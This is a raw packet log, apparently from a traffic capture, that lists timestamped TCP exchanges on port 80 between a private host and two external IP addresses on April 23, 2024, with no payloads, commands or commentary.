Apr 23, 2024 09:38:09.650768995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650798082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650804043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650836945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650849104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650876045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650882959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650918007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650955915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.650960922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650984049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.650993109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.651001930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.651030064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.651036978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.651068926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.651076078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.651104927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.651113033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.651150942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.651158094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.651205063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.827219963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827526093 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827575922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827594042 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827610970 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827619076 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.827672958 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.827706099 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827723980 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827739954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827755928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827771902 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827776909 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.827786922 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:09.827838898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.827838898 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:09.852080107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852139950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852174997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852215052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852241993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852241993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852241993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852252007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852283955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852291107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852293968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852329016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852364063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852405071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852440119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852477074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852492094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852492094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852492094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852492094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852492094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852513075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852530003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852549076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852571964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852585077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852596998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852621078 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852632999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852657080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852664948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852694988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852701902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852730989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852740049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852766991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852776051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852802992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852811098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852839947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852845907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852879047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852885008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852917910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852921963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852953911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852961063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.852989912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.852997065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853025913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853032112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853068113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853075027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853106022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853115082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853142023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853151083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853178978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853185892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853214979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853221893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853250980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853257895 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853287935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853295088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853323936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853332043 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853358984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853368044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853394032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853401899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853430986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853439093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853466988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853473902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853504896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853509903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853542089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:09.853547096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:09.853585005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.031939030 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.031969070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.031984091 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032001019 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032016993 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032061100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032078028 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032094002 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032116890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032131910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032146931 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032162905 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032180071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032202005 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032217026 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032232046 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032247066 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032262087 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032277107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032291889 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.032347918 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.032391071 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.054488897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054694891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054730892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054765940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054779053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054779053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054802895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054821014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054821014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054840088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054850101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054877043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054886103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054914951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054953098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.054954052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.054974079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055008888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055008888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055046082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055059910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055082083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055097103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055118084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055130005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055155039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055166960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055191994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055202961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055233002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055248976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055268049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055286884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055304050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055319071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055341005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055351019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055377960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055392027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055414915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055430889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055452108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055465937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055488110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055502892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055524111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055538893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055561066 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055576086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055598021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055613041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055634975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055649042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055672884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055690050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055710077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055727959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055747032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055761099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055783987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055798054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055819988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055835962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055856943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055871010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055892944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055907011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055931091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055939913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.055967093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.055982113 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056004047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056025028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056039095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056049109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056080103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056092024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056130886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056137085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056173086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056190014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056210041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056224108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056246042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056257963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056283951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056296110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056322098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056338072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056359053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056370020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056395054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056408882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056432962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056444883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056468964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056482077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056507111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056519985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056543112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056557894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056579113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056595087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056616068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056629896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056653023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056662083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056689024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056701899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056727886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056740046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056765079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056777954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056802034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056816101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056838036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056850910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056874037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056885958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056912899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056922913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056950092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056961060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.056987047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.056999922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057024002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057041883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057060003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057073116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057096004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057104111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057132959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057149887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057168961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057184935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057205915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057218075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057241917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057256937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057277918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057291985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057313919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057328939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057351112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057364941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057387114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057400942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057424068 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057434082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057461023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057473898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057497025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057509899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057534933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057548046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057570934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057585955 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057609081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.057621002 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.057658911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.236742020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236771107 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236788034 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236804962 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236824989 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236840963 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236856937 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236872911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236887932 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236906052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236920118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236936092 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236953020 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236968040 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.236987114 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237003088 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237018108 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237034082 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237037897 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237050056 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237066031 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237082958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237097025 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237097979 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237113953 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237128973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237144947 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237159967 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237175941 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237191916 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237207890 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.237209082 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.237209082 CEST	49735	80	192.168.2.4	185.172.128.228
